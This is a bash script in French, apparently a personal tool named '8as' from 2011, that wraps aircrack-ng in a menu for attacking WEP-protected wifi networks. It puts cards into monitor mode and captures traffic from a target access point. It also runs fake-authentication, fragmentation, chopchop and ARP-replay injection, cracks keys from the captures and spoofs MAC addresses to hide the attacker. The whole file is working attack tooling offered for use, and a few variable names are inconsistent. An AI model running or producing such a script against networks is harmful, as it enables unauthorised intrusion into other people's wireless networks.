#!/bin/bash
# 8as 1.1.0 by Nh3
# script v-3 2011

#######################################################################################################
# Configuration de 8as v-3 2011                                                                       #
# créer la destination suivante /root/Desktop/CAPT/ ou modifié la section -> Fichier de configuration #
# Configurer les périphériques Wifi section -> Perif Wifi                                             #
#######################################################################################################

echo ------------------ 
echo  8as 1.0.0 by Nh3
echo ------------------

############################
# Fichier de configuration #
############################
# cfg est le nom du fichier de configuration choisissez le nom que vous voulez mais pensé à mettre un nom de fichier !
FIH=/root/Desktop/CAPT/cfg

PS3='?: '

select choix in "Manuel" "Auto" "Configurer" "Macchanger"
do
if [ "$choix" = Manuel ] ; then
#m8as
echo ------------------------------
echo  8as 1.1.0 by Nh3 Mode Manuel
echo ------------------------------
echo

PS3='?: '

select choix in "Airmon" "AirmonCheck" "goWlanMonitor" "kilWlanMonitor" "AirodumpAll" "AirodumpSelect" "AireplayFakeAuth" "AireplayFrag" "AireplayChop" "AireplayPaquets" "Aircrack"
do
if [ "$choix" = Airmon ] ; then
#8am
airmon-ng
exit 0
fi
if [ "$choix" = AirmonCheck ] ; then
#8amc
airmon-ng check
exit 0
fi
if [ "$choix" = goWlanMonitor ] ; then
#8swl
echo ------------------------
echo  Lancement Monitor Wifi
echo ------------------------
##############
# Perif Wifi #
##############
# Modifier les périphériques wifi selon votre configuration
airmon-ng start wlan0
airmon-ng start wlan1

echo --------------------
echo  Monitor Wifi actif
echo --------------------

airmon-ng
exit 0
fi
if [ "$choix" = kilWlanMonitor ] ; then
#8kwl
echo --------------------
echo  Arret Monitor Wifi
echo --------------------
##############
# Perif Wifi #
##############
# Modifier les périphériques wifi selon votre configuration
airmon-ng stop mon0
airmon-ng stop mon1
airmon-ng stop wlan0
airmon-ng stop wlan1

echo ------------------
echo  Monitor Wifi end
echo ------------------

airmon-ng
exit 0
fi
if [ "$choix" = AirodumpAll ] ; then
#8adall
echo ----------------------------------------
echo -e "Entrez : FICHIER CRYPTAGE INTERFACE"
read  A1 A2 A3

airodump-ng --write \"$A1\" --encrypt $A2 mon$A3
exit 0
fi
if [ "$choix" = AirodumpSelect ] ; then
#8adx
echo ---------------------------------------------
echo -e "Entrez : FICHIER CHANNEL BSSID INTERFACE"
read  A1 A2 A3 A4

airodump-ng --write \"$A1\" --channel $A2 --bssid $A3 mon$A4
exit 0
fi
if [ "$choix" = AireplayFakeAuth ] ; then
#8arfa
echo ---------------------------------------------- 
echo -e "Entrez le : ESSID BSSID STATION INTERFACE"
read  A1 A2 A3 A4

aireplay-ng -1 0 -e $A1 -a $A2 -h $A3 mon$A4
exit 0
fi
if [ "$choix" = AireplayFrag ] ; then
#8arf
echo ----------------------------------------
echo -e "Entrez le : BSSID STATION INTERFACE"
read  A1 A2 A3

aireplay-ng --fragment -b $A1 -h $A2 mon$A3
exit 0
fi
if [ "$choix" = AireplayChop ] ; then
#8arcc
echo ----------------------------------------
echo -e "Entrez le : BSSID STATION INTERFACE"
read  A1 A2 A3

aireplay-ng --chopchop -b $A1 -h $A2 mon$A3
exit 0
fi
if [ "$choix" = AireplayPaquets ] ; then
#8arx
echo -------------------------------------------
echo -e "Entrez : ESSID BSSID STATION INTERFACE"
read  A1 A2 A3 A4

aireplay-ng -3 -e $A1 -b $A2 -h $A3 mon$A4
exit 0
fi
if [ "$choix" = Aircrack ] ; then
#8ac
echo ----------------------------------------------------------------------------------------
echo z = Invokes the PTW WEP cracking method Default v1.x
echo b = Long version –bssid Select the target network based on the access points MAC address
echo X = WEP cracking Disable bruteforce multithreading SMP only
echo ---------------------------------------------------------------------------------------- 
echo Select Méthode

PS3='?: '

select choix in "z" "b" "X"
do
if [ "$choix" = z ] ; then
 	aircrack-ng -z *.cap
exit 0
fi
if [ "$choix" = b ] ; then
 	aircrack-ng -b *.cap
exit 0
fi
if [ "$choix" = X ] ; then
 	aircrack-ng -X *.cap
exit 0
fi
done
exit 0
fi
done
exit 0
fi
if [ "$choix" = Auto ] ; then
#a8as
echo ----------------------------
echo  8as 1.1.0 by Nh3 Mode Auto
echo ----------------------------
echo

PS3='?: '

select choix in "Airmon" "AirmonCheck" "goWlanMonitor" "kilWlanMonitor" "AirodumpAll" "AirodumpSelect" "AireplayFakeAuth" "AireplayFrag" "AireplayChop" "AireplayPaquets" "Aircrack"
do
if [ "$choix" = Airmon ] ; then
#8am
airmon-ng
exit 0
fi
if [ "$choix" = AirmonCheck ] ; then
#8amc
airmon-ng check
exit 0
fi
if [ "$choix" = goWlanMonitor ] ; then
#8swl
echo ------------------------
echo  Lancement Monitor Wifi
echo ------------------------
##############
# Perif Wifi #
##############
# Modifier les périphériques wifi selon votre configuration
airmon-ng start wlan0
airmon-ng start wlan1

echo --------------------
echo  Monitor Wifi actif
echo --------------------

airmon-ng
exit 0
fi
if [ "$choix" = kilWlanMonitor ] ; then
#8kwl
echo --------------------
echo  Arret Monitor Wifi
echo --------------------
##############
# Perif Wifi #
##############
# Modifier les périphériques wifi selon votre configuration
airmon-ng stop mon0
airmon-ng stop mon1
airmon-ng stop wlan0
airmon-ng stop wlan1

echo ------------------
echo  Monitor Wifi end
echo ------------------

airmon-ng
exit 0
fi
if [ "$choix" = AirodumpAll ] ; then
#a8adall
FICHIER=$(date '+%M%S')
CRI=$(head -n 7 $FIH | tail -n 1)
INTERFACE=$(head -n 5 $FIH | tail -n 1)

airodump-ng --write \"$FICHIER\" --encrypt $CRI mon$INTERFACE
exit 0
fi
if [ "$choix" = AirodumpSelect ] ; then
#a8adx
FICHIER=$(date '+%M%S')
CHANNEL=$(head -n 2 $FIH | tail -n 1)
BSSID=$(head -n 3 $FIH | tail -n 1)
INTERFACE=$(head -n 5 $FIH | tail -n 1)

airodump-ng --write \"$FICHIER\" --channel $CHANNEL --bssid $BSSID mon$INTERFACE
exit 0
fi
if [ "$choix" = AireplayFakeAuth ] ; then
#a8arfa
ESSID=$(head -n 1 $FIH | tail -n 1)
BSSID=$(head -n 3 $FIH | tail -n 1)
STATION=$(head -n 6 $FIH | tail -n 1)
INTERFACE=$(head -n 5 $FIH | tail -n 1)

aireplay-ng -1 0 -e $ESSID -a $BSSID -h $STATION mon$INTERFACE
exit 0
fi
if [ "$choix" = AireplayFrag ] ; then
#a8arf
BSSID=$(head -n 3 $Fih | tail -n 1)
STATION=$(head -n 6 $Fih | tail -n 1)
INTERFACE=$(head -n 5 $Fih | tail -n 1)

aireplay-ng --fragment -b $BSSID -h $STATION mon$INTERFACE
exit 0
fi
if [ "$choix" = AireplayChop ] ; then
#a8arcc
BSSID=$(head -n 3 $Fih | tail -n 1)
STATION=$(head -n 6 $Fih | tail -n 1)
INTERFACE=$(head -n 5 $Fih | tail -n 1)

aireplay-ng --chopchop -b $BSSID -h $STATION mon$INTERFACE
exit 0
fi
if [ "$choix" = AireplayPaquets ] ; then
#a8arx
ESSID=$(head -n 1 $FIH | tail -n 1)
BSSID=$(head -n 3 $FIH | tail -n 1)
STATION=$(head -n 6 $FIH | tail -n 1)
INTERFACE=$(head -n 5 $FIH | tail -n 1)

aireplay-ng -3 -e $ESSID -b $BSSID -h $STATION mon$INTERFACE
exit 0
fi
if [ "$choix" = Aircrack ] ; then
#8ac
echo ----------------------------------------------------------------------------------------
echo z = Invokes the PTW WEP cracking method Default v1.x
echo b = Long version –bssid Select the target network based on the access points MAC address
echo X = WEP cracking Disable bruteforce multithreading SMP only
echo ---------------------------------------------------------------------------------------- 
echo Select Méthode

PS3='?: '

select choix in "z" "b" "X"
do
if [ "$choix" = z ] ; then
 	aircrack-ng -z *.cap
exit 0
fi
if [ "$choix" = b ] ; then
 	aircrack-ng -b *.cap
exit 0
fi
if [ "$choix" = X ] ; then
 	aircrack-ng -X *.cap
exit 0
fi
done
exit 0
fi
done
exit 0
fi
if [ "$choix" = Configurer ] ; then
#config_as
echo -------------------------
echo  Configuration 8as 1.1.0
echo -------------------------
echo
echo Saisir les infos pour Aircrack-ng
echo
echo -e "Entrez : ESSID"
read  A1
echo $A1 > $FIH

echo -e "Entrez : CHANNEL"
read  A1
echo $A1 >> $FIH

echo -e "Entrez : BSSID"
read  A1
echo $A1 >> $FIH

date '+%M%S' >> $FIH

echo -e "Entrez : numero INTERFACE"
read  A1
echo $A1 >> $FIH

echo -e "Entrez : STATION"
read  A1
echo $A1 >> $FIH

echo -e "Entrez : CRYPTAGE"
read  A1
echo $A1 >> $FIH

echo ------------------
echo  Fin de la config
echo ------------------
exit 0
fi
if [ "$choix" = Macchanger ] ; then
echo ----------------------------
echo Modification Mac Adress Wifi
echo ----------------------------
##############
# Perif Wifi #
##############
# Modifier les périphériques wifi selon votre configuration
macchanger -A wlan0
macchanger -A wlan1
echo -----------------------
echo Mac Adress Wifi modifié
echo -----------------------
##############
# Perif Wifi #
##############
# Modifier les périphériques wifi selon votre configuration
macchanger -s wlan0
macchanger -s wlan1
exit 0
fi
done

exit 0;
